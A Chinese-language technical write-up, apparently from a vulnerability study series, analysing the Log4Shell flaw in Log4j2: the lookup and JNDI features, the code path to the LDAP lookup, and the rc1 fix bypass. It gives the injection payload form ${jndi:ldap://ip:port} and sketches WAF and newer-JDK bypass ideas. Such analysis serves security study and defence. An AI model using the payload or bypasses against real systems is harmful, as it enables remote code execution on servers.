Log4Shell
Log4Shell
配套代码在:top50vulns_2023配合食用更佳!
漏洞成因
本漏洞是因为log4j官方提供了一个名为Message Lookup Substitution的功能,此功能会动态地获取某些内容:
如字符串Running ${java:runtime}
会被解析为Running Java version 1.8xxx
.
官方文档中对此的部分描述如下:
The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java:
prefix.
使用如下内容可以检索Java相关信息:
Key | Description |
---|---|
version | The short Java version, like:Java version 1.7.0_67 |
runtime | The Java runtime version, like:Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation |
vm | The Java VM version, like:Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode) |
os | The OS version, like:Windows 7 6.1 Service Pack 1, architecture: amd64-64 |
locale | System locale and file encoding information, like:default locale: en_US, platform encoding: Cp1252 |
hw | Hardware information, like:processors: 4, architecture: amd64-64, instruction sets: amd64 |
同时官方也提供了JNDI功能来调用远程方法:
JNDI Lookup
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true
be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.
The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).
使用如下方式开启JNDI检索:
1 |
|
也正是提供了JNDI查找的功能,导致了漏洞的出现。
当JNDI
与 LDAP
协议搭配使用时,将从远程源获取指定的 Java 类并将其反序列化,在此过程中执行该类的一些代码,造成反序列化攻击。
payload形式例如:${jndi:ldap://ip:port}
漏洞分析&&复现
先写一个demo来实现log4Shell。
在log4j2中存在一个接口名为StrLookup:
1 |
|
当在log4j2中使用了如${prefix:key}
的类型时,就会调用相应的StrLookup
。
这个接口被以Map<String,StrLookup>
的方式封装在了Interpolator
中,可以在项目代码的断点1
处打断点观察封装在Interpolator
内部的StrLookup
:
1 |
|
当${prefix:key}
中的prefix
不为空的时候,Interpolator
中的lookup
方法就会去调用prefix
对应的StrLookup
的lookup
方法去查询key所对应的内容,当prefix
为jndi
的时候就造成了JNDI注入:
本次漏洞关键在于转换器名称msg
对应的插件实例MessagePatternConverter
对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter
会将日志中的消息内容为${prefix:key}
格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。
详细流程如下,当log4j开始进行处理的时候,AbstractOutputStreamAppender
类的directEncodeEvent
方法先获取当前使用的布局,并调用对应的encode
方法:
进入默认布局PatternLayout
类的encode
方法,encode
调用toText
:
toText中会获取对应的serialize
r然后调用serializer
的toSerializable
方法
随后进入toSerializable
后会在循环中使用合适的converter
来处理传入的内容:
继续往下跟进的时候会看到在MessagePatternConverter
类中对传入的${prefix:key}
进行了处理,
细心的师傅们可能看到了offset=68和count=99这样的差别,中间差了31位的长度:
这是因为在经过了formatTo
方法后截取了${prefix:key}
的值,所以长度减少了,我这里是31:
那么log4j截取这部分的内容做什么呢,走到这段if
的最后流程,是一个append
(当然前面还有个substring
),要append的内容就要由log4j去查找了,剩下的上面已经说过了,选取合适的StrLookup
的lookup
方法去查询key
所对应的内容,最终调用JndiMananger
中的lookup
后调用到ldap
的lookup
:
这个时候我们启动一个恶意的JNDI服务,并替换地址:
关于绕过
rc1的修复可以被绕过,但是需要开发人员手工开启log4j2.formatMsgLookups=true
又或者配置文件中自己写%msg{lookups}%n"
类似的布局模式,但是对于学习来说还是有意义的,所以简单说下,对于开启了这些配置的log4j2-rc1,其内部仍然加了一些白名单和其他的严格检测,但是如果抛出了URISyntaxException
异常,那么就会绕过这些限制,catch异常后重新进入前面JNDI注入的流程。
具体的修复在这里感兴趣的可以去看下,因为流程基本一样,所以这里就不做复现了。
关于WAF基本的思路就是利用log4j的迭代解析进行poc构造,不过貌似现在大家都能防住了。
关于高版本JDK的绕过思路,可以通过 org.apache.naming.factory.BeanFactory
等类进行绕过。